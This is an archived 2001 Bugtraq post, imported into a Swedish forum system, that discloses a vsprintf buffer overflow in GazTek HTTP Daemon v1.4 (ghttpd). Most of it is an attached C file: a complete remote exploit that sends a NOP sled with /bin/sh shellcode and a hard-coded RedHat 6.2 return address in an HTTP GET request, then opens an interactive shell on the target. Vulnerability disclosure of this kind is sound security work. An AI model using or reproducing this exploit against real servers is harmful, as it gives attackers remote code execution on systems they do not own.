6632461 2001-06-17 16:01 +0200  /39 rader/ qitest1 <qitest1@cercaband.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-17  17:39  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17487>
Ärende: Buffer Overflow in GazTek HTTP Daemon v1.4 (ghttpd)
------------------------------------------------------------

  /* qitest1's security advisory #002
   */
  
  Buffer Overflow in GazTek HTTP Daemon v1.4 (ghttpd)
  
+Systems Affected
  Any system running GazTek HTTP Daemon v1.4 (ghttpd)

+Program Description
  ghttpd is a small and easy to configure HTTP server with CGI support, 
  tested on Linux. It can run as a standalone daemon or can be called
  by inetd. It has been written by Gareth Owen <gaz@athene.co.uk>, 
  http://members.xoom.com/gaztek.

+Vulnerability And Impact
  A remote attacker can overflow a buffer and execute arbitrary code 
  on the system with the privileges of the user running ghttpd, that
  is nobody, as all the privileges are dropped out. 
  Infact in util.c at line 219 we have:
        va_start(ap, format);           // format it all into temp
        vsprintf(temp, format, ap);
        va_end(ap);   

+Solution
  The author was contacted but he did not answered. Apply a patch to 
  the source code of the daemon or remove it from your system. 

+Exploit
  This bug can be succesfully exploited by a remote attacker. There is 
  a demonstrative exploit code attached to this advisory. See the code
  for more info.

-- 
/* qitest1		http://qitest1.cjb.net *
 *    ``Ut tensio, sic vis. 69 tecum sis.''    *
 * main(){if(unsatisfied == 69) try_come(in);} */
(6632461) /qitest1 <qitest1@cercaband.com>/---------
Bilaga (text/plain) i text 6632462
6632462 2001-06-17 16:01 +0200  /214 rader/ qitest1 <qitest1@cercaband.com>
Bilagans filnamn: "ghttpd.c"
Importerad: 2001-06-17  17:39  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17488>
Bilaga (text/plain) till text 6632461
Ärende: Bilaga (ghttpd.c) till: Buffer Overflow in GazTek HTTP Daemon v1.4 (ghttpd)
------------------------------------------------------------
/* 
 * GazTek HTTP Daemon v1.4 (ghttpd) Linux x86 remote exploit
 * by qitest1 - 17/06/2001
 * 
 * Root privileges are dropped out by the daemon, so a shell owned by
 * nobody will be executed. 
 *
 * 0x69.. =) 
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define RETPOS 		161

struct targ
{
   int                  def;
   char                 *descr;
   unsigned long int    retaddr;
};

struct targ target[]=
    {                   
      {0, "RedHat 6.2 with GazTek HTTP Daemon v1.4 (ghttpd) from tar.gz", 0xbfffba47},		
      {69, NULL, 0}				
    };

  /* Just the dear old Aleph1's shellcode. This is the only shellcode
   * that seemed to work with this vulnerability. All the other ones 
   * made the daemon crashing too early and zapping out connection, 
   * shell and all their friends.   
   */
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char            mybuf[RETPOS + 4];

int             sockami(char *host, int port);
void		do_mybuf(unsigned long retaddr);
void		shellami(int sock);
void		usage(char *progname);

main(int argc, char **argv)
{
int     sel = 0,
        offset = 0,
        sock,
        cnt;
char    *host = NULL,
	sbuf[1024];

  printf("\n  GazTek HTTP Daemon v1.4 (ghttpd) exploit by
qitest1\n\n");
  
  if(argc == 1)
        usage(argv[0]);
  while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
     host = strdup(optarg);
     break;
   case 't':
     sel = atoi(optarg);       
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }
  if(host == NULL)
        usage(argv[0]);

  printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
  printf("+Connecting to %s...\n", host);
  sock = sockami(host, 80);
  printf("  connected\n");

  target[sel].retaddr += offset; printf("+Building buffer with
  retaddr: %p...\n", target[sel].retaddr);
  do_mybuf(target[sel].retaddr); printf("  done\n");

  sprintf(sbuf, "GET /%s\n\n", mybuf);
  send(sock, sbuf, strlen(sbuf), 0);
  printf("+Overflowing...\n");

  printf("+Zzing...\n");
  sleep(2);
  printf("+Getting shell...\n"); 
  shellami(sock);  
}


int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock == -1)
        {
          perror("socket()");
          exit(-1);
        }
 
  hp = gethostbyname(host);
  if(hp == NULL)
        {
          perror("gethostbyname()");
          exit(-1);
        }

  memset(&address, 0, sizeof(address));
  memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons(port);

  if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
        {
          perror("connect()");
          exit(-1);
        }

  return(sock);
}


void
do_mybuf(unsigned long retaddr)
{
int		i,
		n = 0;
unsigned long 	*ret;

  memset(mybuf, 0x90, sizeof(mybuf));
  for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
	mybuf[i] = shellcode[n++];
  ret = (unsigned long *)(mybuf + RETPOS);
  *ret = retaddr;
  mybuf[RETPOS + 4] = '\x00';
}

void
shellami(int sock)
{
int             n;
char            recvbuf[1024];
char            *cmd = "id; uname -a\n";
fd_set          rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock,&rset);
      FD_SET(STDIN_FILENO,&rset);
      select(sock+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(sock,&rset))
        {
          n=read(sock,recvbuf,1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n]=0;
          printf("%s",recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO,&rset))
        {
          n=read(STDIN_FILENO,recvbuf,1024);
          if (n>0)
            {
              recvbuf[n]=0;
              write(sock,recvbuf,n);
            }
        }
    }
  return;
}

void
usage(char *progname)
{
int             i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
         "  -h hostname\n"
         "  -t target\n"
         "  -o offset\n"
         "Available targets:\n");
  while(target[i].def != 69)
        { 
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
        } 

  exit(1);
}
(6632462) /qitest1 <qitest1@cercaband.com>/(Ombruten)